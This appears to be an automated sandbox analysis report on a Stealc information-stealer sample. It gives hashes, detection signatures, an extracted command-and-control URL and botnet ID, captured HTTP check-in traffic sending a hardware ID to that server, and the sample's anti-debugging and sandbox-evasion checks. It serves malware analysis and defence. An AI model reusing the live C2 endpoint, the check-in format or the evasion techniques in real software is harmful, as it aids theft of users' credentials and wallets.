Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532850
MD5:	10f4beb1c5f54bb1d754f56785e14563
SHA1:	c52cb5d5917e28fd1d886ddbe410bb673617e16c
SHA256:	58faf6bf840c606c3c8852692bb7f9ae649fa927707f5546d55e68ba6c4fe8b2
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 5176 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 10F4BEB1C5F54BB1D754F56785E14563)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2214050807.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2254739103.0000000000838000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5176	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5176	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.de0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T01:00:20.306858+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49717	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.de0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00DEC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00DE9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00DE7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00DE9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00DF8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00DF38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DF4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00DEDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00DEE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00DF4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00DEED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DE16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DEF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00DF3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00DEBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DEDE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49717 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGHCFIJDAAKFHJJDHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 43 46 46 33 39 42 42 33 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 2d 2d 0d 0a Data Ascii: ------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="hwid"4ACFF39BB3583419705248------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="build"doma------JKECGHCFIJDAAKFHJJDH--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DE4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00DE4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGHCFIJDAAKFHJJDHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 43 46 46 33 39 42 42 33 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 2d 2d 0d 0a Data Ascii: ------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="hwid"4ACFF39BB3583419705248------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="build"doma------JKECGHCFIJDAAKFHJJDH--

Source: file.exe, 00000000.00000002.2254739103.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2254739103.0000000000884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2254739103.0000000000884000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2254739103.0000000000896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2254739103.0000000000884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php-
Source: file.exe, 00000000.00000002.2254739103.0000000000884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
Source: file.exe, 00000000.00000002.2254739103.0000000000884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpi
Source: file.exe, 00000000.00000002.2254739103.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37p

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9	0_2_011AF9A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011351D0	0_2_011351D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A7339	0_2_011A7339
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0108BB50	0_2_0108BB50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D8367	0_2_010D8367
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A229B	0_2_011A229B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119FAA2	0_2_0119FAA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F52ED	0_2_010F52ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011115D4	0_2_011115D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A3DC1	0_2_011A3DC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B1418	0_2_011B1418
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010CBC61	0_2_010CBC61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01060CEB	0_2_01060CEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B2E2B	0_2_011B2E2B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011ADEA3	0_2_011ADEA3

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00DE45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: siqapmbg ZLIB complexity 0.9949494235985533

Source: file.exe, 00000000.00000003.2214050807.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00DF8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00DF3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ZEDEI543.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1854976 > 1048576

Source: file.exe

Static PE information: Raw size of siqapmbg is bigger than: 0x100000 < 0x19ec00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.de0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;siqapmbg:EW;dgzgzabs:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;siqapmbg:EW;dgzgzabs:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00DF9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c55c8 should be: 0x1d04b1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: siqapmbg
Source: file.exe	Static PE information: section name: dgzgzabs
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0123292D push ebx; mov dword ptr [esp], ecx	0_2_0123297C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126F932 push ecx; mov dword ptr [esp], 1DDB1E86h	0_2_0126F957
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126F932 push 16BEE169h; mov dword ptr [esp], eax	0_2_0126F9BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126F932 push 353121A9h; mov dword ptr [esp], eax	0_2_0126F9D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012BA91F push 720EEB00h; mov dword ptr [esp], eax	0_2_012BA95E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01294965 push 7ADD2895h; mov dword ptr [esp], eax	0_2_0129498A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01294965 push 2D3D02FCh; mov dword ptr [esp], esp	0_2_012949AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121A17B push 3308ABD7h; mov dword ptr [esp], edx	0_2_0121A1C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0123994D push ebp; mov dword ptr [esp], ebx	0_2_0123995E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0123994D push edx; mov dword ptr [esp], ecx	0_2_01239969
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E81BF push edx; mov dword ptr [esp], 7F7F8C1Fh	0_2_011E81E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01274984 push ebp; mov dword ptr [esp], esi	0_2_0127498F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 6CC68142h; mov dword ptr [esp], edx	0_2_011AF9C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 09DFD4D4h; mov dword ptr [esp], eax	0_2_011AFA55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push esi; mov dword ptr [esp], ebx	0_2_011AFAA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push ecx; mov dword ptr [esp], edx	0_2_011AFAEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 1CFDA9D4h; mov dword ptr [esp], ebp	0_2_011AFB35
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 3E7A94C6h; mov dword ptr [esp], esi	0_2_011AFBBB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push edi; mov dword ptr [esp], ecx	0_2_011AFBEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 019FD919h; mov dword ptr [esp], edi	0_2_011AFC22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 590119ACh; mov dword ptr [esp], esi	0_2_011AFD7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 1E727620h; mov dword ptr [esp], edi	0_2_011AFD82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push ebx; mov dword ptr [esp], edx	0_2_011AFDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push esi; mov dword ptr [esp], 6FBBAE36h	0_2_011AFDC4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 4B2E5D49h; mov dword ptr [esp], eax	0_2_011AFE7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 4863E733h; mov dword ptr [esp], ebp	0_2_011AFED9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 3FA4C0C6h; mov dword ptr [esp], esp	0_2_011AFEE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 1F7F5316h; mov dword ptr [esp], edx	0_2_011AFEFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push edi; mov dword ptr [esp], ebp	0_2_011AFF3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push edi; mov dword ptr [esp], edx	0_2_011B002B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF9A9 push 6948C7A9h; mov dword ptr [esp], edx	0_2_011B0040

Source: file.exe

Static PE information: section name: siqapmbg entropy: 7.954494499000927

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00DF9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13567

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10423E0 second address: 10423E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B8C62 second address: 11B8C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3FAC75ECC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B8FDA second address: 11B8FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B8FDE second address: 11B9001 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3FAC75ECC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007F3FAC75ECC6h 0x00000011 je 00007F3FAC75ECC6h 0x00000017 popad 0x00000018 popad 0x00000019 js 00007F3FAC75ECDAh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9001 second address: 11B900B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3FACB96B26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B952B second address: 11B952F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B952F second address: 11B9533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9533 second address: 11B9539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD199 second address: 11BD1A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACB96B2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
